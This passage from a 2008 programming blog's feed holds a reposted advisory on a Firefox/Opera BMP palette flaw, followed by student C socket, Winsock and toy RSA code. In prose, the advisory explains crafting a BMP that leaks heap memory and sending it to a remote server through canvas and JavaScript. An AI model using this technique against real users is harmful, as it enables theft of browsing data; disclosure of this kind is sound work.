Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3371602993205987975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3371602993205987975'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/another-msn-worm-spreading-rapidly.html' title='Another MSN worm spreading rapidly'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-7106885400697780136</id><published>2008-02-22T20:58:00.000+05:30</published><updated>2008-03-01T10:22:33.339+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Firefox and Opera Memory Information Leak</title><content type='html'>&lt;span style="font-weight: bold;"&gt;SUMMARY&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Opera and Firefox contains vulnerable code for handling BMP files with partial palette. The code allows to craft a BMP file that leaks information from the heap. This information can be sent to remote server using canvas tag (HTML 5) and JavaScript.&lt;br /&gt;&lt;br /&gt;Also other browser (for example Apple Safari) contain vulnerable BMP handling code, but since there is no way of acquiring the image data (due to not all canvas method being implemented), it doesn't pose a serious threat. As a matter of fact Apple Safari has a similar problem with certain GIF files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DETAILS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vulnerable Systems:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Firefox version 2.0.0.11 and prior that support canvas.getImageData or any other method to acquire image data are affected&lt;/li&gt;&lt;li&gt;Opera version 9.50 beta&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Immune Systems:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Firefox version 2.0.0.12&lt;/li&gt;&lt;li&gt;Opera version 9.24&lt;/li&gt;&lt;li&gt;Opera version 9.25&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The BMP format has a field in the BITMAPINFOHEADER named biClrUsed, the field says how many colors does the palette contain. If this field is 0, then 256 color palette is used. When this field is not 0, the palette has the given number of colors.&lt;br /&gt;&lt;br /&gt;Both browsers either allocate to just the "right" amount of memory (using the equation biClrUsed * sizeof(RGB)), or forget to zero the allocated palette. In this case, if a color from the upper (non existing or not zeroed) part of the palette is used, some information is copied to the screen as a colorful pixel.&lt;br /&gt;&lt;br /&gt;If the attacker creates a BMP file with biClrUser = 0, and fills it with gradient, from 0 to 255: 00 01 02 03 04 05 ... and so on, the displayed BMP will in fact copy the palette to the screen, which of course means that it copies the data lying on the heap to the screen.&lt;br /&gt;&lt;br /&gt;The attacker could also use HTML 5 tag canvas to acquire pixel color information from the bitmap, and then use JavaScript to post it to a remote server.&lt;br /&gt;&lt;br /&gt;The harvested data contains various information including parts of other websites, users "favorites" and history, and other information.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Video demonstration&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;A video demonstration of the vulnerability:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.hispasec.com/lab/files/ff_2_0_0_11.avi"&gt;http://blog.hispasec.com/lab/files/ff_2_0_0_11.avi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ADDITIONAL INFORMATION&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Firefox 2.0.0.11 may crash when using this vulnerability due to heap boundary error (read access violation). So it is possible to remotely crash the browser.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;This bug has been reported by Gynvael Coldwind.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-7106885400697780136?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/7106885400697780136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=7106885400697780136&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7106885400697780136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7106885400697780136'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/firefox-and-opera-memory-information.html' title='Firefox and Opera Memory Information Leak'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5256218764939411911</id><published>2008-02-21T13:26:00.004+05:30</published><updated>2010-03-27T14:03:55.576+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Threads'/><title type='text'>Network Programming Assignment</title><content type='html'>&lt;strong&gt;Client&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;&lt;br /&gt;void error(char *msg)&lt;br /&gt;{&lt;br /&gt;perror(msg);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int sigflag;&lt;br /&gt;&lt;br /&gt;int sigio_fun()&lt;br /&gt;{&lt;br /&gt;//    printf("Handling SIGIO\n");&lt;br /&gt;sigflag = 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void sigint()&lt;br /&gt;{&lt;br /&gt;signal(SIGINT,sigint);&lt;br /&gt;printf("SIGINT Received. I will exit now\n");&lt;br /&gt;//exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;int sockfd, portno, n;&lt;br /&gt;struct sockaddr_in serv_addr;&lt;br /&gt;struct hostent *server;&lt;br /&gt;char buffer[1024];&lt;br /&gt;&lt;br /&gt;if (argc &lt; 3)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr,"usage %s hostname port\n", argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;portno = atoi(argv[2]);&lt;br /&gt;sockfd = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;&lt;br /&gt;if (sockfd &lt; 0)&lt;br /&gt;error("main: socket error");&lt;br /&gt;server = gethostbyname(argv[1]);&lt;br /&gt;&lt;br /&gt;if (server == NULL)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr,"Error: no such host\n");&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;bzero((char *) &amp;amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;serv_addr.sin_family = AF_INET;&lt;br /&gt;bcopy((char *)server-&gt;h_addr, (char *)&amp;amp;serv_addr.sin_addr.s_addr, server-&gt;h_length);&lt;br /&gt;&lt;br /&gt;serv_addr.sin_port = htons(portno);&lt;br /&gt;&lt;br /&gt;if (connect(sockfd, (struct sockaddr *)&amp;amp;serv_addr, sizeof(serv_addr)) &lt; 0)&lt;br /&gt;error("main: connect error");&lt;br /&gt;&lt;br /&gt;signal(SIGIO, (void *)sigio_fun);&lt;br /&gt;signal(SIGINT, (void *)sigint);&lt;br /&gt;&lt;br /&gt;if (fcntl(sockfd, F_SETOWN, getpid()) &lt; 0)&lt;br /&gt;error("main: F_SETOWN error");&lt;br /&gt;if (fcntl(sockfd, F_SETFL, FASYNC) &lt; 0)&lt;br /&gt;error("main: F_SETFL error");&lt;br /&gt;&lt;br /&gt;#ifdef NORMAL&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;fgets(buffer, 1023, stdin);&lt;br /&gt;send(sockfd, buffer, strlen(buffer), NULL);&lt;br /&gt;&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;while (recv(sockfd, buffer, 1023, NULL) &gt; 0)&lt;br /&gt;{&lt;br /&gt;printf("Computer: %s\n", buffer);&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;fgets(buffer, 1023, stdin);&lt;br /&gt;if (send(sockfd, buffer, strlen(buffer), NULL) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: write error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifdef SIGNAL&lt;br /&gt;while (1)&lt;br /&gt;{&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;fgets(buffer, 1023, stdin);&lt;br /&gt;n = send(sockfd, buffer, strlen(buffer), NULL);&lt;br /&gt;if (n &lt; 0)&lt;br /&gt;error("main: write error");&lt;br /&gt;&lt;br /&gt;sigblock(sigmask(SIGIO));&lt;br /&gt;while (sigflag == 0)&lt;br /&gt;sigpause(0); /* wait for interrupt */&lt;br /&gt;&lt;br /&gt;bzero(buffer, 1024);&lt;br /&gt;n = recv(sockfd, buffer, 1023, NULL);&lt;br /&gt;if (n &lt; 0)&lt;br /&gt;error("main: read error");&lt;br /&gt;&lt;br /&gt;printf("%s\n", buffer);&lt;br /&gt;sigflag = 0;&lt;br /&gt;sigsetmask(0);&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;close(sockfd);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;strong&gt;Server&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;pthread.h&gt;&lt;br /&gt;&lt;br /&gt;#define MAX_T 10&lt;br /&gt;#define PORT 8010&lt;br /&gt;&lt;br /&gt;int Connect[MAX_T];&lt;br /&gt;struct sockaddr_in clients[MAX_T];&lt;br /&gt;&lt;br /&gt;pthread_mutex_t mutex;&lt;br /&gt;pthread_t tid[MAX_T];&lt;br /&gt;&lt;br /&gt;void *ThreadProc(void *i)&lt;br /&gt;{&lt;br /&gt;int count = (int) i;&lt;br /&gt;int j;&lt;br /&gt;int error, clilen;&lt;br /&gt;char *Buff, *Buff1;&lt;br /&gt;&lt;br /&gt;Buff = calloc(1000, sizeof(char));&lt;br /&gt;Buff1 = calloc(1024,sizeof(char));&lt;br /&gt;&lt;br /&gt;do{&lt;br /&gt;memset(Buff, '\0', sizeof(Buff));&lt;br /&gt;memset(Buff1, '\0', sizeof(Buff1));&lt;br /&gt;error = recv(Connect[count], Buff, sizeof(Buff), 0);&lt;br /&gt;printf ("Received data\n");&lt;br /&gt;&lt;br /&gt;if (error &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("recv error");&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//Chances for Deadlock here&lt;br /&gt;pthread_mutex_lock(&amp;mutex);&lt;br /&gt;sprintf(Buff1, "%s says: %s", inet_ntoa(clients[count].sin_addr), Buff);&lt;br /&gt;&lt;br /&gt;for (j = 0; j &lt; MAX_T; j++)&lt;br /&gt;{&lt;br /&gt;if (Connect[j] != 0 &amp;&amp; j != count)&lt;br /&gt;{&lt;br /&gt;error = sendto(Connect[j], Buff, sizeof(Buff), 0, (struct sockaddr*)&amp;clients[j], sizeof(clients[j]));&lt;br /&gt;if (error &lt; 0)&lt;br /&gt;{&lt;br /&gt;send(Connect[count], "Unable to send your message", 27, 0);&lt;br /&gt;perror("sendto error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;printf ("Message sent\n");&lt;br /&gt;send(Connect[count], "Your message was sent to all", 30, 0);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;pthread_mutex_unlock(&amp;mutex);&lt;br /&gt;}while(strcmp("bye",Buff));&lt;br /&gt;&lt;br /&gt;close(Connect[count]);&lt;br /&gt;free(Buff);&lt;br /&gt;free(Buff1);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;int Listen;&lt;br /&gt;struct sockaddr_in server;&lt;br /&gt;int i, error, clilen;&lt;br /&gt;&lt;br /&gt;if (pthread_mutex_init(&amp;mutex, NULL))&lt;br /&gt;{&lt;br /&gt;perror("Mutex initiallization error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;Listen = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;&lt;br /&gt;bzero((char*)&amp;server, sizeof(server));&lt;br /&gt;server.sin_family = AF_INET;&lt;br /&gt;server.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;server.sin_port = htons(PORT);&lt;br /&gt;&lt;br /&gt;error = bind(Listen, (struct sockaddr *)&amp;server, sizeof(server));&lt;br /&gt;if (error &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("bind error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;for (i = 0; i &lt; MAX_T; i++)&lt;br /&gt;Connect[i] = 0;&lt;br /&gt;&lt;br /&gt;listen(Listen, 5);&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; MAX_T; i++)&lt;br /&gt;{&lt;br /&gt;clilen = sizeof(clients[i]);&lt;br /&gt;Connect[i]  = accept(Listen, (struct sockaddr *)&amp;clients[i], &amp;clilen);&lt;br /&gt;&lt;br /&gt;if (Connect[i] &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("accept error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (pthread_create(&amp;tid[i], NULL, (void *)ThreadProc, (void *)i))&lt;br /&gt;{&lt;br /&gt;perror("Thread creation error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; MAX_T; i++)&lt;br /&gt;pthread_join(tid[i], NULL);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5256218764939411911?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5256218764939411911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5256218764939411911&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5256218764939411911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5256218764939411911'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/network-programming-assignment.html' title='Network Programming Assignment'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3784418601753351599</id><published>2008-02-18T10:51:00.004+05:30</published><updated>2010-03-27T14:06:12.071+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='IPC'/><title type='text'>WinSocks</title><content type='html'>A Multithreaded TCP Server on winsock:&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;winsock.h&gt;&lt;br /&gt;#include &lt;wsnetbs.h&gt;&lt;br /&gt;#include &lt;wsipx.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#define SERVER_PORT 6000&lt;br /&gt;#define SERVER_ADDRESS "127.0.0.1"&lt;br /&gt;&lt;br /&gt;//Initialize WinSock library&lt;br /&gt;&lt;br /&gt;int WinSockInitialize()&lt;br /&gt;{&lt;br /&gt;int err;&lt;br /&gt;WORD wVersionRequired;&lt;br /&gt;WSADATA wsaData;&lt;br /&gt;wVersionRequired = MAKEWORD(1,1);&lt;br /&gt;err = WSAStartup(wVersionRequired, &amp;wsaData);&lt;br /&gt;if (err != 0)&lt;br /&gt;exit(1);&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Thread Function&lt;br /&gt;DWORD ThreadProc(LPVOID* ThreadId)&lt;br /&gt;{&lt;br /&gt;int error;&lt;br /&gt;char Buffer[1000];&lt;br /&gt;&lt;br /&gt;unsigned int ConnectedSock = (unsigned int) *ThreadId;&lt;br /&gt;printf("Connection received\n");&lt;br /&gt;&lt;br /&gt;// Read Client message&lt;br /&gt;do{&lt;br /&gt;memset(Buffer, '\0', 1000);&lt;br /&gt;error = recv (ConnectedSock, Buffer, sizeof(Buffer), 0);&lt;br /&gt;&lt;br /&gt;printf ("Client says: %s\n", Buffer);&lt;br /&gt;&lt;br /&gt;if (error == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("Thread : recv() error : %d\n",GetLastError());&lt;br /&gt;closesocket(ConnectedSock);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;error = send ( ConnectedSock, Buffer, sizeof(Buffer), 0);&lt;br /&gt;if (error == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("server : send() error : %d\n",GetLastError());&lt;br /&gt;closesocket(ConnectedSock);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;}while (strncmp(Buffer,"bye", 3));&lt;br /&gt;closesocket(ConnectedSock);&lt;br /&gt;return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//***********************************************************&lt;br /&gt;//server program&lt;br /&gt;//***********************************************************&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;SOCKET ListenSock, ConnectedSock;&lt;br /&gt;int ClientAddressLength, error;&lt;br /&gt;struct sockaddr_in ClientAddress, ServerAddress;&lt;br /&gt;unsigned long ThreadId[5];&lt;br /&gt;&lt;br /&gt;// Initialize WinSock library&lt;br /&gt;//&lt;br /&gt;WinSockInitialize();&lt;br /&gt;&lt;br /&gt;//Open a TCP socket&lt;br /&gt;if ( (ListenSock = socket(AF_INET, SOCK_STREAM,0) ) == INVALID_SOCKET)&lt;br /&gt;{&lt;br /&gt;printf("server : cannot open stream socket: %d\n",GetLastError());&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//Bind a known address&lt;br /&gt;ServerAddress.sin_family = AF_INET;&lt;br /&gt;ServerAddress.sin_addr.s_addr = inet_addr(SERVER_ADDRESS);&lt;br /&gt;ServerAddress.sin_port = htons(SERVER_PORT);&lt;br /&gt;&lt;br /&gt;if (bind (ListenSock, (struct sockaddr *)&amp;ServerAddress, sizeof(ServerAddress)) != 0)&lt;br /&gt;{&lt;br /&gt;printf("server : cannot bind address: %d\n",GetLastError());&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int QueueSize=1000;&lt;br /&gt;printf("Client queue size=%d.\n", QueueSize);&lt;br /&gt;error=listen(ListenSock, QueueSize);&lt;br /&gt;if (error)&lt;br /&gt;{&lt;br /&gt;printf("server : listen() error : %d\n",GetLastError());&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;//unsigned long ulNonBlocked=1;&lt;br /&gt;//ioctlsocket(ListenSock,FIONBIO, &amp;ulNonBlocked);&lt;br /&gt;&lt;br /&gt;int i = 0;&lt;br /&gt;for (;;)&lt;br /&gt;{&lt;br /&gt;//Wait for connection from client&lt;br /&gt;ClientAddressLength = sizeof(ClientAddress);&lt;br /&gt;ConnectedSock = accept(ListenSock, (struct sockaddr *) &amp;ClientAddress, &amp;ClientAddressLength);&lt;br /&gt;&lt;br /&gt;if (ConnectedSock == INVALID_SOCKET)&lt;br /&gt;{&lt;br /&gt;printf("server : accept() error: %d\n",GetLastError());&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;printf("Connection received\n");&lt;br /&gt;&lt;br /&gt;if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&amp;ThreadProc, (LPVOID) &amp;ConnectedSock, 0, &amp;ThreadId[i++]) == NULL)&lt;br /&gt;{&lt;br /&gt;printf ("Error creating thread\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;printf("Thread Created: %d\n", &amp;ThreadId[i]);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;closesocket(ListenSock);&lt;br /&gt;&lt;br /&gt;if ( WSACleanup() !=0 )&lt;br /&gt;printf("WSACleanup() Error\n");&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;TCP client on winsock&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;//***********************************************************&lt;br /&gt;//client program&lt;br /&gt;//***********************************************************&lt;br /&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;winsock.h&gt;&lt;br /&gt;#include &lt;wsnetbs.h&gt;&lt;br /&gt;#include &lt;wsipx.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#define SERVER_PORT 6000&lt;br /&gt;#define SERVER_ADDRESS "127.0.0.1"&lt;br /&gt;#define SERVER_REPLY "Server Reply\n"&lt;br /&gt;#define CLIENT_REQUEST "Client Request\n"&lt;br /&gt;&lt;br /&gt;int WinSockInitialize()&lt;br /&gt;{&lt;br /&gt;int err;&lt;br /&gt;WORD wVersionRequired;&lt;br /&gt;WSADATA wsaData;&lt;br /&gt;wVersionRequired = MAKEWORD(1,1);&lt;br /&gt;err = WSAStartup(wVersionRequired, &amp;wsaData);&lt;br /&gt;if (err != 0)&lt;br /&gt;exit(1);&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;SOCKET ClientSock;&lt;br /&gt;struct sockaddr_in ServerAddress;&lt;br /&gt;char szBuffer[1000];&lt;br /&gt;int error;&lt;br /&gt;&lt;br /&gt;// Initialize WinSock library&lt;br /&gt;//&lt;br /&gt;WinSockInitialize();&lt;br /&gt;memset(szBuffer, '\0', 1000);&lt;br /&gt;&lt;br /&gt;//Open a TCP socket&lt;br /&gt;if ((ClientSock = socket(AF_INET, SOCK_STREAM,0) ) == INVALID_SOCKET)&lt;br /&gt;{&lt;br /&gt;printf("client : cannot open stream socket: %d\n", GetLastError());&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//Fill in a server's address&lt;br /&gt;ServerAddress.sin_family = AF_INET;&lt;br /&gt;ServerAddress.sin_addr.s_addr = inet_addr(SERVER_ADDRESS);&lt;br /&gt;ServerAddress.sin_port = htons(SERVER_PORT);&lt;br /&gt;&lt;br /&gt;//Issue connect request to server&lt;br /&gt;if (connect(ClientSock, (struct sockaddr *) &amp;ServerAddress, sizeof(ServerAddress)) == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("client : cannot connect to server: %d\n", GetLastError());&lt;br /&gt;printf ("%d", ClientSock);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Write request to server&lt;br /&gt;int i = 1;&lt;br /&gt;for (;;)&lt;br /&gt;{&lt;br /&gt;i++;&lt;br /&gt;sprintf(szBuffer, CLIENT_REQUEST);&lt;br /&gt;if (i == 6)&lt;br /&gt;{&lt;br /&gt;memset(szBuffer,'\0',1000);&lt;br /&gt;sprintf (szBuffer, "bye");&lt;br /&gt;error = send(ClientSock, szBuffer, sizeof(szBuffer), 0);&lt;br /&gt;if (error == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("client : send() error : %d\n",GetLastError());&lt;br /&gt;closesocket(ClientSock);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;error = send(ClientSock, szBuffer, sizeof(szBuffer), 0);&lt;br /&gt;if (error == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("client : send() error : %d\n",GetLastError());&lt;br /&gt;closesocket(ClientSock);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;// Read Reply from Server&lt;br /&gt;error = recv ( ClientSock, szBuffer, sizeof(szBuffer), 0);&lt;br /&gt;if (error == SOCKET_ERROR)&lt;br /&gt;{&lt;br /&gt;printf("server : recv() error : %d\n",GetLastError());&lt;br /&gt;closesocket(ClientSock);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;printf("Reply from server:%s\n", szBuffer);&lt;br /&gt;}&lt;br /&gt;closesocket(ClientSock);&lt;br /&gt;if ( WSACleanup() !=0 )&lt;br /&gt;printf("WSACleanup() Error\n");&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3784418601753351599?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3784418601753351599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3784418601753351599&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3784418601753351599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3784418601753351599'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/winsocks.html' title='WinSocks'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-6205193621615354877</id><published>2008-02-18T02:19:00.010+05:30</published><updated>2010-03-27T14:09:40.291+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Valgrind'/><category scheme='http://www.blogger.com/atom/ns#' term='Assignment'/><title type='text'>RSA - 2</title><content type='html'>This is another problem for which I have written a code to solve. I dont know why, but I took too long to solve this simple thing. I was confusing myself with cin, streams, etc. I need to brush up my C++ as soon as possible.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;#include &lt;iostream&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main(int argc, char** argv)&lt;br /&gt;{&lt;br /&gt;if (argc &lt; 2)&lt;br /&gt;{&lt;br /&gt;printf ("Usage: %s &lt;cypher text separated by space&gt;\n", argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int e, d, p, q, fi, N;&lt;br /&gt;int *C, *F;&lt;br /&gt;char *M, *K;&lt;br /&gt;int i, j, k;&lt;br /&gt;&lt;br /&gt;cout &lt;&lt; "Provide Public key(e), Prime numbers(p,q): ";&lt;br /&gt;cin &gt;&gt; e &gt;&gt; p &gt;&gt; q;&lt;br /&gt;M = new char[argc];&lt;br /&gt;bzero(M, argc);&lt;br /&gt;&lt;br /&gt;fi = (p-1)*(q-1);&lt;br /&gt;for (d = 1; d &lt; fi; d++)&lt;br /&gt;if ( (d*e) % fi == 1)&lt;br /&gt;break;&lt;br /&gt;cout &lt;&lt; endl &lt;&lt; "Private key(d): " &lt;&lt; d &lt;&lt; endl;&lt;br /&gt;&lt;br /&gt;K = M;&lt;br /&gt;for (k = 1; k &lt; argc; k++, K++)&lt;br /&gt;{&lt;br /&gt;unsigned long long P = 1;&lt;br /&gt;N = atoi(argv[k]);&lt;br /&gt;for (i = d; i &gt;= 1; i--)&lt;br /&gt;P = P * N;&lt;br /&gt;&lt;br /&gt;j = (P % (p*q)) + 96;&lt;br /&gt;sprintf (K, "%c", j);&lt;br /&gt;}&lt;br /&gt;cout &lt;&lt; "Message(M): " &lt;&lt; M &lt;&lt; 